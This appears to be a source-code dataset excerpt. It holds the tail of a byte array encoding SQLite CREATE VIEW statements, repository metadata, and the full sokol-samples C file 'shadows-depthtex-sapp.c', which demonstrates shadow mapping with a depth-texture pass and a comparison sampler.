44, 99, 44,100, 44,101, 32, 70, 82, 79, 77, 32,116, 50, 32, 79, 82, 68, 69,
82, 32, 66, 89, 32, 98, 32, 76, 73, 77, 73, 84, 32, 49, 48, 70, 17, 6, 21,
19, 19, 8,121,118,105,101,119,118, 53, 48,118, 53, 48, 67, 82, 69, 65, 84,
69, 32, 86, 73, 69, 87, 32,118, 53, 48, 40, 97, 44, 98, 41, 32, 65, 83, 32,
83, 69, 76, 69, 67, 84, 32, 97, 44, 98, 32, 70, 82, 79, 77, 32,116, 53, 32,
87, 72, 69, 82, 69, 32, 97, 60, 62, 50, 53, 83, 16, 7, 21, 19, 19, 8,129,
17,118,105,101,119,118, 52, 48,118, 52, 48, 67, 82, 69, 65, 84, 69, 32, 86,
73, 69, 87, 32,118, 52, 48, 40, 97, 44, 98, 44, 99, 44,100, 44,101, 41, 32,
65, 83, 32, 83, 69, 76, 69, 67, 84, 32, 97, 44, 98, 44, 99, 44,100, 44,101,
32, 70, 82, 79, 77, 32,116, 52, 32, 87, 72, 69, 82, 69, 32, 97, 60, 62, 50,
53, 83, 15, 7, 21, 19, 19, 8,129, 17,118,105,101,119,118, 51, 48,118, 51,
48, 67, 82, 69, 65, 84, 69, 32, 86, 73, 69, 87, 32,118, 51, 48, 40, 97, 44,
98, 44, 99, 44,100, 44,101, 41, 32, 65, 83, 32, 83, 69, 76, 69, 67, 84, 32,
97, 44, 98, 44, 99, 44,100, 44,101, 32, 70, 82, 79, 77, 32,116, 51, 32, 87,
72, 69, 82, 69, 32, 97, 60, 62, 50, 53, 91, 18, 7, 21, 19, 19, 8,129, 33,
118,105,101,119,118, 49, 49,118, 49, 49, 67, 82, 69, 65, 84, 69, 32, 86, 73,
69, 87, 32,118, 49, 49, 40, 97, 44, 98, 44, 99, 44,100, 44,101, 41, 32, 65,
83, 32, 83, 69, 76, 69, 67, 84, 32, 97, 44, 98, 44, 99, 44,100, 44,101, 32,
70, 82, 79, 77, 32,116, 49, 32, 79, 82, 68, 69, 82, 32, 66, 89, 32, 98, 32,
76, 73, 77, 73, 84, 32, 49, 48, 13, 1,163, 0, 4, 0, 40, 0, 1, 70, 0,
233, 0,152, 0, 40, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,110, 23, 7, 21, 19, 19, 8,129, 71,
118,105,101,119,118, 49, 50,118, 49, 50, 67, 82, 69, 65, 84, 69, 32, 86, 73,
69, 87, 32,118, 49, 50, 40, 97, 44, 98, 44, 99, 44,100, 44,101, 41, 32, 65,
83, 10, 32, 32, 83, 69, 76, 69, 67, 84, 32,115,117,109, 40, 97, 41, 44, 32,
97,118,103, 40, 98, 41, 44, 32, 99,111,117,110,116, 40, 42, 41, 44, 32,109,
105,110, 40,100, 41, 44, 32,101, 32, 70, 82, 79, 77, 32,116, 49, 32, 71, 82,
79, 85, 80, 32, 66, 89, 32, 53, 79, 22, 7, 21, 19, 19, 8,129, 9,118,105,
101,119,118, 53, 49,118, 53, 49, 67, 82, 69, 65, 84, 69, 32, 86, 73, 69, 87,
32,118, 53, 49, 40, 97, 44, 98, 41, 32, 65, 83, 32, 83, 69, 76, 69, 67, 84,
32, 97, 44, 98, 32, 70, 82, 79, 77, 32,116, 53, 32, 79, 82, 68, 69, 82, 32,
66, 89, 32, 98, 32, 76, 73, 77, 73, 84, 32, 49, 48, 91, 21, 7, 21, 19, 19,
8,129, 33,118,105,101,119,118, 52, 49,118, 52, 49, 67, 82, 69, 65, 84, 69,
32, 86, 73, 69, 87, 32,118, 52, 49, 40, 97, 44, 98, 44, 99, 44,100, 44,101,
41, 32, 65, 83, 32, 83, 69, 76, 69, 67, 84, 32, 97, 44, 98, 44, 99, 44,100,
44,101, 32, 70, 82, 79, 77, 32,116, 52, 32, 79, 82, 68, 69, 82, 32, 66, 89,
32, 98, 32, 76, 73, 77, 73, 84, 32, 49, 48, 91, 20, 7, 21, 19, 19, 8,129,
33,118,105,101,119,118, 51, 49,118, 51, 49, 67, 82, 69, 65, 84, 69, 32, 86,
73, 69, 87, 32,118, 51, 49, 40, 97, 44, 98, 44, 99, 44,100, 44,101, 41, 32,
65, 83, 32, 83, 69, 76, 69, 67, 84, 32, 97, 44, 98, 44, 99, 44,100, 44,101,
32, 70, 82, 79, 77, 32,116, 51, 32, 79, 82, 68, 69, 82, 32, 66, 89, 32, 98,
32, 76, 73, 77, 73, 84, 32, 49, 48, 0, 0, 0, 93, 19, 19, 8,129, 33,118,
105,101,119,118, 50, 49,118, 50, 49, 67, 82, 69, 65, 84, 69, 32, 86, 73, 69,
87, 32,118, 50, 49, 40, 97, 44, 98, 44, 99, 44,100, 44,101, 41, 32, 65, 83,
32, 83, 69, 76, 69, 67, 84, 32, 97, 44, 98, 44, 99, 44,100, 44,101, 32, 70,
82, 79, 77, 32,116, 50, 32, 79, 82, 68, 69, 82, 32, 66, 89, 32, 98, 32, 76,
73, 77, 73, 84, 32, 49, 48, 13, 0, 0, 0, 3, 0, 66, 0, 1,107, 0,214,
0, 66, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,129, 17, 26,
7, 21, 19, 19, 8,130, 13,118,105,101,119,118, 52, 50,118, 52, 50, 67, 82,
69, 65, 84, 69, 32, 86, 73, 69, 87, 32,118, 52, 50, 40, 97, 44, 98, 44, 99,
44,100, 44,101, 41, 32, 65, 83, 10, 32, 32, 83, 69, 76, 69, 67, 84, 32,115,
117,109, 40, 97, 41, 44, 32, 97,118,103, 40, 98, 41, 44, 32, 99,111,117,110,
116, 40, 42, 41, 44, 32,109,105,110, 40,100, 41, 44, 32,101, 32, 70, 82, 79,
77, 32,116, 52, 32, 71, 82, 79, 85, 80, 32, 66, 89, 32, 53, 10, 32, 32, 32,
32, 72, 65, 86, 73, 78, 71, 32,109,105,110, 40,100, 41, 60, 51, 48, 32, 79,
82, 68, 69, 82, 32, 66, 89, 32, 51, 44, 32, 49,129, 18, 25, 7, 21, 19, 19,
8,130, 15,118,105,101,119,118, 51, 50,118, 51, 50, 67, 82, 69, 65, 84, 69,
32, 86, 73, 69, 87, 32,118, 51, 50, 40, 97, 44, 98, 44, 99, 44,100, 44,101,
41, 32, 65, 83, 10, 32, 32, 83, 69, 76, 69, 67, 84, 32,115,117,109, 40, 97,
41, 44, 32, 97,118,103, 40, 98, 41, 44, 32, 99,111,117,110,116, 40, 42, 41,
44, 32,109,105,110, 40,100, 41, 44, 32,101, 32, 70, 82, 79, 77, 32,116, 51,
32, 71, 82, 79, 85, 80, 32, 66, 89, 32, 53, 10, 32, 32, 32, 32, 72, 65, 86,
73, 78, 71, 32, 99,111,117,110,116, 40, 42, 41, 62, 49, 32, 79, 82, 68, 69,
82, 32, 66, 89, 32, 51, 44, 32, 49,129, 18, 24, 7, 21, 19, 19, 8,130, 15,
118,105,101,119,118, 50, 50,118, 50, 50, 67, 82, 69, 65, 84, 69, 32, 86, 73,
69, 87, 32,118, 50, 50, 40, 97, 44, 98, 44, 99, 44,100, 44,101, 41, 32, 65,
83, 10, 32, 32, 83, 69, 76, 69, 67, 84, 32,115,117,109, 40, 97, 41, 44, 32,
97,118,103, 40, 98, 41, 44, 32, 99,111,117,110,116, 40, 42, 41, 44, 32,109,
105,110, 40,100, 41, 44, 32,101, 32, 70, 82, 79, 77, 32,116, 50, 32, 71, 82,
79, 85, 80, 32, 66, 89, 32, 53, 10, 32, 32, 32, 32, 72, 65, 86, 73, 78, 71,
32, 99,111,117,110,116, 40, 42, 41, 62, 49, 32, 79, 82, 68, 69, 82, 32, 66,
89, 32, 51, 44, 32, 49, 13, 1,108, 0, 3, 0, 83, 0, 0,225, 0, 83, 1,
136, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,129, 11, 28, 7, 21, 19,
19, 8,130, 1,118,105,101,119,118, 49, 51,118, 49, 51, 67, 82, 69, 65, 84,
69, 32, 86, 73, 69, 87, 32,118, 49, 51, 40, 97, 44, 98, 44, 99, 44,100, 44,
101, 41, 32, 65, 83, 10, 32, 32, 83, 69, 76, 69, 67, 84, 32, 97, 44, 98, 44,
99, 44,100, 44,101, 32, 70, 82, 79, 77, 32,116, 49, 10, 32, 32, 85, 78, 73,
79, 78, 32, 83, 69, 76, 69, 67, 84, 32, 97, 44, 98, 44, 99, 44,100, 44,101,
32, 70, 82, 79, 77, 32,116, 50, 10, 32, 32, 85, 78, 73, 79, 78, 32, 83, 69,
76, 69, 67, 84, 32, 97, 44, 98, 44, 99, 44,100, 44,101, 32, 70, 82, 79, 77,
32,116, 51,129, 8, 27, 7, 21, 19, 19, 8,129,123,118,105,101,119,118, 53,
50,118, 53, 50, 67, 82, 69, 65, 84, 69, 32, 86, 73, 69, 87, 32,118, 53, 50,
40, 97, 44, 98, 44, 99, 44,100, 44,101, 41, 32, 65, 83, 10, 32, 32, 83, 69,
76, 69, 67, 84, 32, 99,111,117,110,116, 40, 42, 41, 44, 32,109,105,110, 40,
98, 41, 44, 32,115,117, 98,115,116,114, 40, 98, 44, 49, 44, 49, 41, 44, 32,
109,105,110, 40, 97, 41, 44, 32,109, 97,120, 40, 97, 41, 32, 70, 82, 79, 77,
32,116, 53, 10, 32, 32, 32, 71, 82, 79, 85, 80, 32, 66, 89, 32, 51, 32, 79,
82, 68, 69, 82, 32, 66, 89, 32, 49, 0, 0, 0, 28, 21, 19, 19, 8,130, 13,
118,105,101,119,118, 52, 50,118, 52, 50, 67, 82, 69, 65, 84, 69, 32, 86,118,
29, 7, 21, 19, 19, 8,129, 87,118,105,101,119,118, 50, 51,118, 50, 51, 67,
82, 69, 65, 84, 69, 32, 86, 73, 69, 87, 32,118, 50, 51, 40, 97, 44, 98, 44,
99, 44,100, 44,101, 41, 32, 65, 83, 10, 32, 32, 83, 69, 76, 69, 67, 84, 32,
97, 44, 98, 44, 99, 44,100, 44,101, 32, 70, 82, 79, 77, 32,116, 49, 10, 32,
32, 69, 88, 67, 69, 80, 84, 32, 83, 69, 76, 69, 67, 84, 32, 97, 44, 98, 44,
99, 44,100, 44,101, 32, 70, 82, 79, 77, 32,116, 49, 32, 87, 72, 69, 82, 69,
32, 98, 60, 50, 53, 13, 0, 0, 0, 3, 0, 40, 0, 1,134, 1, 12, 0, 40,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0,129, 97, 32, 7, 21, 19, 19, 8,131, 45,118,105,
101,119,118, 54, 50,118, 54, 50, 67, 82, 69, 65, 84, 69, 32, 86, 73, 69, 87,
32,118, 54, 50, 40, 97, 44, 98, 44, 99, 44,100, 44,101, 41, 32, 65, 83, 10,
32, 32, 83, 69, 76, 69, 67, 84, 32,116, 49, 46, 97, 44,116, 50, 46, 98, 44,
116, 51, 46, 99, 44,116, 52, 46,100, 44,116, 53, 46, 98, 10, 32, 32, 32, 32,
70, 82, 79, 77, 32,116, 49, 32, 74, 79, 73, 78, 32,116, 50, 32, 79, 78, 32,
40,116, 49, 46, 97, 61,116, 50, 46, 98, 41, 10, 32, 32, 32, 32, 32, 32, 32,
32, 32, 32, 32, 32, 74, 79, 73, 78, 32,116, 51, 32, 79, 78, 32, 40,116, 49,
46, 97, 61,116, 51, 46, 97, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32,
32, 32, 74, 79, 73, 78, 32,116, 52, 32, 79, 78, 32, 40,116, 52, 46, 98, 61,
116, 51, 46, 98, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 76,
69, 70, 84, 32, 74, 79, 73, 78, 32,116, 53, 32, 79, 78, 32, 40,116, 53, 46,
97, 61,116, 49, 46, 99, 41,120, 31, 7, 21, 19, 19, 8,129, 91,118,105,101,
119,118, 54, 49,118, 54, 49, 67, 82, 69, 65, 84, 69, 32, 86, 73, 69, 87, 32,
118, 54, 49, 40, 97, 44, 98, 44, 99, 44,100, 44,101, 41, 32, 65, 83, 10, 32,
32, 83, 69, 76, 69, 67, 84, 32,116, 50, 46, 97, 44,116, 51, 46, 98, 44,116,
50, 46, 99, 44,116, 51, 46,100, 44,116, 50, 46,101, 10, 32, 32, 32, 32, 70,
82, 79, 77, 32,116, 50, 32, 76, 69, 70, 84, 32, 74, 79, 73, 78, 32,116, 51,
32, 79, 78, 32, 40,116, 50, 46, 97, 61,116, 51, 46, 97, 41,120, 30, 7, 21,
19, 19, 8,129, 91,118,105,101,119,118, 54, 48,118, 54, 48, 67, 82, 69, 65,
84, 69, 32, 86, 73, 69, 87, 32,118, 54, 48, 40, 97, 44, 98, 44, 99, 44,100,
44,101, 41, 32, 65, 83, 10, 32, 32, 83, 69, 76, 69, 67, 84, 32,116, 49, 46,
97, 44,116, 50, 46, 98, 44,116, 49, 46, 99, 44,116, 50, 46,100, 44,116, 49,
46,101, 10, 32, 32, 32, 32, 70, 82, 79, 77, 32,116, 49, 32, 76, 69, 70, 84,
32, 74, 79, 73, 78, 32,116, 50, 32, 79, 78, 32, 40,116, 49, 46, 97, 61,116,
50, 46, 98, 41, 13, 0, 0, 0, 1, 1, 73, 0, 1, 73, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,129, 52, 33, 7, 21, 19, 19, 8,130,
83,118,105,101,119,118, 55, 48,118, 55, 48, 67, 82, 69, 65, 84, 69, 32, 86,
73, 69, 87, 32,118, 55, 48, 40, 97, 44, 98, 44, 99, 44,100, 44,101, 41, 32,
65, 83, 10, 32, 32, 87, 73, 84, 72, 32, 82, 69, 67, 85, 82, 83, 73, 86, 69,
32, 99, 48, 40,120, 41, 32, 65, 83, 32, 40, 86, 65, 76, 85, 69, 83, 40, 49,
41, 32, 85, 78, 73, 79, 78, 32, 65, 76, 76, 32, 83, 69, 76, 69, 67, 84, 32,
120, 43, 49, 32, 70, 82, 79, 77, 32, 99, 48, 32, 87, 72, 69, 82, 69, 32,120,
60, 57, 41, 10, 32, 32, 83, 69, 76, 69, 67, 84, 32,120, 44, 32, 98, 44, 32,
99, 44, 32,100, 44, 32,101, 32, 70, 82, 79, 77, 32, 99, 48, 32, 74, 79, 73,
78, 32,116, 49, 32, 79, 78, 32, 40,116, 49, 46, 97, 61, 53, 48, 45, 99, 48,
46,120, 41,
};
|
85b606a43f634f79f0cb358b0c2a5d62aeb52e5e
|
6f8bf483b372d8bd526698a083309edb50b0bd90
|
/sapp/shadows-depthtex-sapp.c
|
ce55af320aa1bb8e37dcd6438327ae53676a50a0
|
[
"MIT"
] |
permissive
|
floooh/sokol-samples
|
d48466f0da1b07c57b98733827074289faa335c9
|
578d71daed073dbeb2e5e3d74a3485cf46733cd7
|
refs/heads/master
| 2023-08-31T04:06:28.791638
| 2023-07-26T19:31:00
| 2023-07-26T19:31:00
| 97,253,410
| 496
| 100
|
MIT
| 2023-07-26T19:31:01
| 2017-07-14T16:29:50
|
C
|
UTF-8
|
C
| false
| false
| 12,375
|
c
|
shadows-depthtex-sapp.c
|
//------------------------------------------------------------------------------
// shadows-depthtex-sapp.c
//
// Shadow mapping via a depth-buffer texture.
//
// - depth-only shadow pass into shadow map (no color render targets)
// - display pass samples shadow map with a comparison sampler
// - debug visualization samples shadow map with a regular sampler
//------------------------------------------------------------------------------
#include "sokol_app.h"
#include "sokol_gfx.h"
#include "sokol_log.h"
#include "sokol_glue.h"
#include "dbgui/dbgui.h"
#define HANDMADE_MATH_IMPLEMENTATION
#define HANDMADE_MATH_NO_SSE
#include "HandmadeMath.h"
#include "shadows-depthtex-sapp.glsl.h"
static struct {
sg_image shadow_map;
sg_sampler shadow_sampler;
sg_buffer vbuf;
sg_buffer ibuf;
float ry;
struct {
sg_pass_action pass_action;
sg_pass pass;
sg_pipeline pip;
sg_bindings bind;
} shadow;
struct {
sg_pass_action pass_action;
sg_pipeline pip;
sg_bindings bind;
} display;
struct {
sg_pipeline pip;
sg_bindings bind;
} dbg;
} state;
static void init(void) {
sg_setup(&(sg_desc){
.context = sapp_sgcontext(),
.logger.func = slog_func,
});
__dbgui_setup(sapp_sample_count());
// vertex buffer for a cube and plane
const float scene_vertices[] = {
// pos normals
-1.0f, -1.0f, -1.0f, 0.0f, 0.0f, -1.0f, //CUBE BACK FACE
1.0f, -1.0f, -1.0f, 0.0f, 0.0f, -1.0f,
1.0f, 1.0f, -1.0f, 0.0f, 0.0f, -1.0f,
-1.0f, 1.0f, -1.0f, 0.0f, 0.0f, -1.0f,
-1.0f, -1.0f, 1.0f, 0.0f, 0.0f, 1.0f, //CUBE FRONT FACE
1.0f, -1.0f, 1.0f, 0.0f, 0.0f, 1.0f,
1.0f, 1.0f, 1.0f, 0.0f, 0.0f, 1.0f,
-1.0f, 1.0f, 1.0f, 0.0f, 0.0f, 1.0f,
-1.0f, -1.0f, -1.0f, -1.0f, 0.0f, 0.0f, //CUBE LEFT FACE
-1.0f, 1.0f, -1.0f, -1.0f, 0.0f, 0.0f,
-1.0f, 1.0f, 1.0f, -1.0f, 0.0f, 0.0f,
-1.0f, -1.0f, 1.0f, -1.0f, 0.0f, 0.0f,
1.0f, -1.0f, -1.0f, 1.0f, 0.0f, 0.0f, //CUBE RIGHT FACE
1.0f, 1.0f, -1.0f, 1.0f, 0.0f, 0.0f,
1.0f, 1.0f, 1.0f, 1.0f, 0.0f, 0.0f,
1.0f, -1.0f, 1.0f, 1.0f, 0.0f, 0.0f,
-1.0f, -1.0f, -1.0f, 0.0f, -1.0f, 0.0f, //CUBE BOTTOM FACE
-1.0f, -1.0f, 1.0f, 0.0f, -1.0f, 0.0f,
1.0f, -1.0f, 1.0f, 0.0f, -1.0f, 0.0f,
1.0f, -1.0f, -1.0f, 0.0f, -1.0f, 0.0f,
-1.0f, 1.0f, -1.0f, 0.0f, 1.0f, 0.0f, //CUBE TOP FACE
-1.0f, 1.0f, 1.0f, 0.0f, 1.0f, 0.0f,
1.0f, 1.0f, 1.0f, 0.0f, 1.0f, 0.0f,
1.0f, 1.0f, -1.0f, 0.0f, 1.0f, 0.0f,
-5.0f, 0.0f, -5.0f, 0.0f, 1.0f, 0.0f, //PLANE GEOMETRY
-5.0f, 0.0f, 5.0f, 0.0f, 1.0f, 0.0f,
5.0f, 0.0f, 5.0f, 0.0f, 1.0f, 0.0f,
5.0f, 0.0f, -5.0f, 0.0f, 1.0f, 0.0f,
};
state.vbuf = sg_make_buffer(&(sg_buffer_desc){
.data = SG_RANGE(scene_vertices),
.label = "cube-vertices"
});
// ...and a matching index buffer for the scene
const uint16_t scene_indices[] = {
0, 1, 2, 0, 2, 3,
6, 5, 4, 7, 6, 4,
8, 9, 10, 8, 10, 11,
14, 13, 12, 15, 14, 12,
16, 17, 18, 16, 18, 19,
22, 21, 20, 23, 22, 20,
26, 25, 24, 27, 26, 24
};
state.ibuf = sg_make_buffer(&(sg_buffer_desc){
.type = SG_BUFFERTYPE_INDEXBUFFER,
.data = SG_RANGE(scene_indices),
.label = "cube-indices"
});
// shadow map pass action: only clear depth buffer, don't configure color and stencil actions,
// because there are no color and stencil targets
state.shadow.pass_action = (sg_pass_action){
.depth = {
.load_action = SG_LOADACTION_CLEAR,
.store_action = SG_STOREACTION_STORE,
.clear_value = 1.0f,
},
};
// display pass action
state.display.pass_action = (sg_pass_action){
.colors[0] = {
.load_action = SG_LOADACTION_CLEAR,
.clear_value = { 0.25f, 0.25f, 0.5f, 1.0f}
},
};
// a shadow map render target which will serve as depth buffer in the shadow pass
state.shadow_map = sg_make_image(&(sg_image_desc){
.render_target = true,
.width = 2048,
.height = 2048,
.pixel_format = SG_PIXELFORMAT_DEPTH,
.sample_count = 1,
.label = "shadow-map",
});
// a comparison sampler which is used to sample the shadow map texture in the display pass
state.shadow_sampler = sg_make_sampler(&(sg_sampler_desc){
.min_filter = SG_FILTER_LINEAR,
.mag_filter = SG_FILTER_LINEAR,
.wrap_u = SG_WRAP_CLAMP_TO_EDGE,
.wrap_v = SG_WRAP_CLAMP_TO_EDGE,
.compare = SG_COMPAREFUNC_LESS,
.label = "shadow-sampler",
});
// a depth-only pass object for the shadow pass
state.shadow.pass = sg_make_pass(&(sg_pass_desc){
.depth_stencil_attachment.image = state.shadow_map,
.label = "shadow-pass",
});
// a pipeline object for the shadow pass
state.shadow.pip = sg_make_pipeline(&(sg_pipeline_desc){
.layout = {
// need to provide vertex stride, because normal component is skipped in shadow pass
.buffers[0].stride = 6 * sizeof(float),
.attrs = {
[ATTR_vs_shadow_pos].format = SG_VERTEXFORMAT_FLOAT3,
},
},
.shader = sg_make_shader(shadow_shader_desc(sg_query_backend())),
.index_type = SG_INDEXTYPE_UINT16,
// render back-faces in shadow pass to prevent shadow acne on front-faces
.cull_mode = SG_CULLMODE_FRONT,
.sample_count = 1,
.depth = {
.pixel_format = SG_PIXELFORMAT_DEPTH,
.compare = SG_COMPAREFUNC_LESS_EQUAL,
.write_enabled = true,
},
// important: 'deactivate' the default color target for 'depth-only-rendering'
.colors[0].pixel_format = SG_PIXELFORMAT_NONE,
.label = "shadow-pipeline"
});
// resource bindings to render shadow scene
state.shadow.bind = (sg_bindings) {
.vertex_buffers[0] = state.vbuf,
.index_buffer = state.ibuf,
};
// a pipeline object for the display pass
state.display.pip = sg_make_pipeline(&(sg_pipeline_desc){
.layout = {
.attrs = {
[ATTR_vs_display_pos].format = SG_VERTEXFORMAT_FLOAT3,
[ATTR_vs_display_norm].format = SG_VERTEXFORMAT_FLOAT3,
}
},
.shader = sg_make_shader(display_shader_desc(sg_query_backend())),
.index_type = SG_INDEXTYPE_UINT16,
.cull_mode = SG_CULLMODE_BACK,
.depth = {
.compare = SG_COMPAREFUNC_LESS_EQUAL,
.write_enabled = true,
},
.label = "display-pipeline",
});
// resource bindings to render display scene
state.display.bind = (sg_bindings) {
.vertex_buffers[0] = state.vbuf,
.index_buffer = state.ibuf,
.fs = {
.images[SLOT_shadow_map] = state.shadow_map,
.samplers[SLOT_shadow_sampler] = state.shadow_sampler,
},
};
// a vertex buffer, pipeline and sampler to render a debug visualization of the shadow map
float dbg_vertices[] = { 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 1.0f, 1.0f, 1.0f };
sg_buffer dbg_vbuf = sg_make_buffer(&(sg_buffer_desc){
.data = SG_RANGE(dbg_vertices),
.label = "debug-vertices"
});
state.dbg.pip = sg_make_pipeline(&(sg_pipeline_desc){
.layout = {
.attrs[ATTR_vs_dbg_pos].format = SG_VERTEXFORMAT_FLOAT2,
},
.shader = sg_make_shader(dbg_shader_desc(sg_query_backend())),
.primitive_type = SG_PRIMITIVETYPE_TRIANGLE_STRIP,
.label = "debug-pipeline",
});
// note: use a regular sampling-sampler to render the shadow map,
// need to use nearest filtering here because of portability restrictions
// (e.g. WebGL2)
sg_sampler dbg_smp = sg_make_sampler(&(sg_sampler_desc){
.min_filter = SG_FILTER_NEAREST,
.mag_filter = SG_FILTER_NEAREST,
.wrap_u = SG_WRAP_CLAMP_TO_EDGE,
.wrap_v = SG_WRAP_CLAMP_TO_EDGE,
.label = "debug-sampler"
});
state.dbg.bind = (sg_bindings){
.vertex_buffers[0] = dbg_vbuf,
.fs = {
.images[SLOT_dbg_tex] = state.shadow_map,
.samplers[SLOT_dbg_smp] = dbg_smp,
}
};
}
static void frame(void) {
const float t = (float)(sapp_frame_duration() * 60.0);
state.ry += 0.2f * t;
const hmm_vec3 eye_pos = HMM_Vec3(5.0f, 5.0f, 5.0f);
const hmm_mat4 plane_model = HMM_Mat4d(1.0f);
const hmm_mat4 cube_model = HMM_Translate(HMM_Vec3(0.0f, 1.5f, 0.0f));
const hmm_vec3 plane_color = HMM_Vec3(1.0f, 0.5f, 0.0f);
const hmm_vec3 cube_color = HMM_Vec3(0.5f, 1.0f, 0.5f);
// calculate matrices for shadow pass
const hmm_mat4 rym = HMM_Rotate(state.ry, HMM_Vec3(0.0f, 1.0f, 0.0f));
const hmm_vec4 light_pos = HMM_MultiplyMat4ByVec4(rym, HMM_Vec4(50.0f, 50.0f, -50.0f, 1.0f));
const hmm_mat4 light_view = HMM_LookAt(light_pos.XYZ, HMM_Vec3(0.0f, 1.5f, 0.0f), HMM_Vec3(0.0f, 1.0f, 0.0f));
const hmm_mat4 light_proj = HMM_Orthographic(-5.0f, 5.0f, -5.0f, 5.0f, 0, 100.0f);
const hmm_mat4 light_view_proj = HMM_MultiplyMat4(light_proj, light_view);
const vs_shadow_params_t cube_vs_shadow_params = {
.mvp = HMM_MultiplyMat4(light_view_proj, cube_model)
};
// calculate matrices for display pass
const hmm_mat4 proj = HMM_Perspective(60.0f, sapp_widthf()/sapp_heightf(), 0.01f, 100.0f);
const hmm_mat4 view = HMM_LookAt(eye_pos, HMM_Vec3(0.0f, 0.0f, 0.0f), HMM_Vec3(0.0f, 1.0f, 0.0f));
const hmm_mat4 view_proj = HMM_MultiplyMat4(proj, view);
const fs_display_params_t fs_display_params = {
.light_dir = HMM_NormalizeVec3(light_pos.XYZ),
.eye_pos = eye_pos,
};
const vs_display_params_t plane_vs_display_params = {
.mvp = HMM_MultiplyMat4(view_proj, plane_model),
.model = plane_model,
.light_mvp = HMM_MultiplyMat4(light_view_proj, plane_model),
.diff_color = plane_color,
};
const vs_display_params_t cube_vs_display_params = {
.mvp = HMM_MultiplyMat4(view_proj, cube_model),
.model = cube_model,
.light_mvp = HMM_MultiplyMat4(light_view_proj, cube_model),
.diff_color = cube_color,
};
// the shadow map pass, render scene from light source into shadow map texture
sg_begin_pass(state.shadow.pass, &state.shadow.pass_action);
sg_apply_pipeline(state.shadow.pip);
sg_apply_bindings(&state.shadow.bind);
sg_apply_uniforms(SG_SHADERSTAGE_VS, SLOT_vs_shadow_params, &SG_RANGE(cube_vs_shadow_params));
sg_draw(0, 36, 1);
sg_end_pass();
// the display pass, render scene from camera, compare-sample shadow map texture
sg_begin_default_pass(&state.display.pass_action, sapp_width(), sapp_height());
sg_apply_pipeline(state.display.pip);
sg_apply_bindings(&state.display.bind);
sg_apply_uniforms(SG_SHADERSTAGE_FS, SLOT_fs_display_params, &SG_RANGE(fs_display_params));
// render plane
sg_apply_uniforms(SG_SHADERSTAGE_VS, SLOT_vs_display_params, &SG_RANGE(plane_vs_display_params));
sg_draw(36, 6, 1);
// render cube
sg_apply_uniforms(SG_SHADERSTAGE_VS, SLOT_vs_display_params, &SG_RANGE(cube_vs_display_params));
sg_draw(0, 36, 1);
// render debug visualization of shadow-map
sg_apply_pipeline(state.dbg.pip);
sg_apply_bindings(&state.dbg.bind);
sg_apply_viewport(sapp_width() - 150, 0, 150, 150, false);
sg_draw(0, 4, 1);
__dbgui_draw();
sg_end_pass();
sg_commit();
}
static void cleanup(void) {
__dbgui_shutdown();
sg_shutdown();
}
sapp_desc sokol_main(int argc, char* argv[]) {
(void)argc; (void)argv;
return (sapp_desc){
.init_cb = init,
.frame_cb = frame,
.cleanup_cb = cleanup,
.event_cb = __dbgui_event,
.width = 800,
.height = 600,
.sample_count = 4,
.window_title = "shadows-depthtex-sapp",
.icon.sokol_default = true,
.logger.func = slog_func,
};
}
|
b2b05cf6ab11a1ae93e25b4560c6ad605a9cdc5d
|
c6759b857e55991fea3ef0b465dbcee53fa38714
|
/rtos/pmsis/api/include/pmsis/rtos/pi_log.h
|
6478b2e1a0720f32b9a222064a103f5270e01924
|
[
"Apache-2.0"
] |
permissive
|
